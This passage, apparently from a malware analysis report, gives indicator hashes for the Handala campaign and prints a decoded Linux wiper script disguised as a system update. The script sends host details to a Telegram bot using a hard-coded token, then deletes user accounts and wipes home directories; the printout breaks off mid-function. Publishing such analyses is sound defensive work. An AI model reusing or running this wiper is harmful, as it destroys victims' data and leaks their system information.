&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;F5UPDATER.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Yes &lt;a href="https://www.virustotal.com/gui/search/signature%253AF5UPDATER/files"target="_blank" rel="noopener"&gt;signature:F5UPDATER&lt;/a&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable .NET&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Hatef.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;454e6d3782f23455875a5db64e1a8cd8eb743400d8c6dadb1cd8fd2ffc2f9567&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable Delphi&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Handala.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6f79c0e0e1aab63c3aba0b781e0e46c95b5798b2d4f7b6ecac474b5c40b840ad&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Encrypted bash script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;update.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ad66251d9e8792cf4963b0c97f7ab44c8b68101e36b79abc501bee1807166e8a&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe07dca68f288a4f6d7cbd34d79bb70bc309635876298d4fde33c25277e30bd2&lt;/code&gt;,&lt;br&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64c5fd791ee369082273b685f724d5916bd4cad756750a5fe953c4005bb5428c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZIP&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;-&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ca9bf13897af109cb354f2629c10803966eb757ee4b2e468abc04e7681d0d74a&lt;/code&gt;,&lt;br&gt;&lt;code&gt;5d741f9af9da7ce79132daa37a200afed1cb0c28e47de35d127113d69cbab13d&lt;/code&gt;,&lt;br&gt;&lt;code&gt;e28085e8d64bb737721b1a1d494f177e571c47aab7c9507dba38253f6183af35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;336167b8c5cfc5cd330502e7aa515cc133656e12cbedb4b41ebbf847347b2767&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Windows Executable&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;FlashDevelop&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;f58d3a4b2f3f7f10815c24586fae91964eeed830369e7e0701b43895b0cefbd3&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;AutoIt Interpreter&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;Naples.pif&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aae989743dddc84adef90622c657e45e23386488fa79d7fe7cf0863043b8acd4&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Obfuscated AutoIt Script&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;k&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;No&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Decoded &lt;code&gt;update.sh&lt;/code&gt; script - Linux Wiper Version:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********************************,,,,,,,,,,,,,,,,,*******************************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;************************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***********************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*******************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*************,,,,,,,,,,,,,,&amp;amp;@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***********,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@*,,,,,@@@@@@@@@@@@@@*,,,,,,**********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;********,,,,,,,,,@@@@@@@@@@,,,,,,,,,@@@@@@@@,,,,@@@@@@@@@@@@@@@@@@@@@@@@********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*******,,,,,,,@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@@,******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*****,,,,,,,/@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@,,,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,@@@@@,,,,,,,,,,,,,,,,,,,/@,,,,,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@&amp;amp;,,,,,,,,,,,,,,,,,,,,,,,,,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,*@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@*,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@*,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*,,,,,,,,,@@@@@@@@@@@@@@@(,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@,,,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**,,,,,,,,(@@@@@@@@@@@@@@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(@@@@@@@@@@@@@,,*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@&amp;amp;,**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;****,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,,,@@@@,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*****,,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,@@@@@@@@,,,,,,,,,,,,,,,,,,,,,@@@@@@@@*,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;******,,,,,@@@@@@@@@@@@@@@,,,,,,,,,,,@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@,******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*********#@@@@@@@@@@@@@@@@,,,,,,,,,,,,&amp;amp;@@@@@@@@@@,,,,,,,,,,,,,,@@@@@@@,,,*******
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;**********@@@@@@@@@@@@@@@@@@@@@@@(,,,,,*@@@@@@@@@@@@@@%//%@@@@@@@@,,,,,*********
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*************,,,,,,,,,,,,,,*&amp;amp;@@@@@@,,,,,,,,,,@@@@@@@@@@@@@@@,,,,,,,,************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,*********,****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;*******************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***********,,*,***
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;***********************,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,***************,,*****
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;******************************,,,,,,,,,,,,,,,,,,,,,*****************************
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@,,@/,,@@@@,,@@@@@@@@#,,@,,@@@@@,,@@,,@@@@@,,@@,,@@@@@,,@@@@@@,,@@@@@@,,,@,,@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@,,,,,@@@@@,,,,,@@@@@,,@@@@@@@@@,,@@,,@@@@@,,,,,,@@@@@,,@@@@@@,,@@@@@@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@,,,@,,,@@@@,,,,,,@@@@@,,@,,@@@@@,,,@,,@@@@@,,@@,,@@@@@,,@@@@@@,,@@@@@@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@&amp;amp;&amp;amp;@@@&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@@@&amp;amp;&amp;amp;&amp;amp;@@@@@@@@@@&amp;amp;&amp;amp;@@@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@&amp;amp;&amp;amp;&amp;amp;&amp;amp;@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@,,@@@,@@@@@,,@@@,,@@@@,,@@(,,@@@@@#,,,@@@@@@@@,@@@@@@@,,@@@@@@@@,,@@@,,@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@,,@@@,@@@@@,,,,,@@@@@@,,@@@,,@@@@@,,,,,@@@@@@@,@@@@@@@,,@@@@@@@@,,,,,@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;@@@@@@,,,,,@@@@@,,@@@@@@@@@,,,,,,@@@@@,%@@@,,@@@@@@,@@@@@@@,,,,,@@@@@,,@@,,@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;30&lt;span class="p"&gt;;&lt;/span&gt; i++&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;#&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;25&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The system has been updated successfully!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep &lt;span class="m"&gt;1800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;The final update is being applied...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; -f /etc/redhat-release &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo yum install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;lsb_release -is&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Ubuntu&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;lsb_release -is&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Debian&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sudo apt install xfsprogs wipe parted -y &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Unsupported OS.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;telegram_bot_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;6428401585:AAGE6SbwtVJxOpLjdMcrL45gb18H9UV7tQA&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;telegram_chat_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;6932028002&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r -d &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt; message &lt;span class="s"&gt;&amp;lt;&amp;lt; EOF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Cleaning process started on server HOST: $(hostname)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;IP: $(hostname -I)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;Disk volumes:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$(df -h --output=source,size,target)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; curl -s --retry &lt;span class="m"&gt;3&lt;/span&gt; --retry-delay &lt;span class="m"&gt;5&lt;/span&gt; -X POST &lt;span class="s2"&gt;&amp;#34;https://api.telegram.org/bot&lt;/span&gt;&lt;span class="nv"&gt;$telegram_bot_token&lt;/span&gt;&lt;span class="s2"&gt;/sendMessage&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;chat_id=&lt;/span&gt;&lt;span class="nv"&gt;$telegram_chat_id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -d &lt;span class="s2"&gt;&amp;#34;text=&lt;/span&gt;&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; -H &lt;span class="s2"&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;send_telegram_message &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remove_all_users&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; username in &lt;span class="sb"&gt;`&lt;/span&gt;awk -F: &lt;span class="s1"&gt;&amp;#39;$3 &amp;gt; 999 {print $1}&amp;#39;&lt;/span&gt; /etc/passwd&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; deluser --remove-all-files -q &lt;span class="nv"&gt;$username&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; userdel -r &lt;span class="nv"&gt;$username&lt;/span&gt; &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; wipe -rfi /home/&lt;span class="nv"&gt;$username&lt;/span&gt;/* &amp;gt; /dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
